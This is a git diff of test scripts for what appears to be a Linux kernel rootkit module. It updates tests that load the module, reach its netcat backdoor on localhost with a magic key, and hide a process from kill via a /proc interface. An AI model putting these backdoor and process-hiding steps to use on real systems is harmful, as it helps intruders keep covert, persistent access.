diff --git a/test/native/nc-backdoor-echo-s.test b/test/native/nc-backdoor-echo-s.test index d983f4e..4820942 100644 --- a/test/native/nc-backdoor-echo-s.test +++ b/test/native/nc-backdoor-echo-s.test @@ -8,7 +8,7 @@ sudo dmesg -c sleep 10 sudo insmod ../../../build/kovid.ko -sudo timeout 10 ../../../scripts/bdclient.sh nc localhost 9999 +sudo timeout 10 ../../../scripts/bdclient.sh nc localhost 9999 0x7d3b1cb572f16425 echo -s > /proc/myprocname sudo rmmod kovid sudo dmesg diff --git a/test/native/nc-backdoor-plus-pid.test b/test/native/nc-backdoor-plus-pid.test index ec3f9d3..a561e93 100644 --- a/test/native/nc-backdoor-plus-pid.test +++ b/test/native/nc-backdoor-plus-pid.test @@ -1,4 +1,3 @@ -# REQUIRES: 0 # REQUIRES: DEBUG_ONLY # REQUIRES: NATIVE_TESTS @@ -24,7 +23,7 @@ AOUT_PID=$! sleep 1 # Hide the process using the backdoor functionality -echo -bd $AOUT_PID > /proc/myprocname +echo hide-task-backdoor=$AOUT_PID > /proc/myprocname # Attempt to kill the hidden process and verify that it fails kill -9 "$AOUT_PID" || echo "sh: can't kill pid $AOUT_PID: No such process" diff --git a/test/native/nc-backdoor.test b/test/native/nc-backdoor.test index eb974fe..be76639 100644 --- a/test/native/nc-backdoor.test +++ b/test/native/nc-backdoor.test @@ -1,3 +1,4 @@ +# REQUIRES: 0 # REQUIRES: DEBUG_ONLY # REQUIRES: NATIVE_TESTS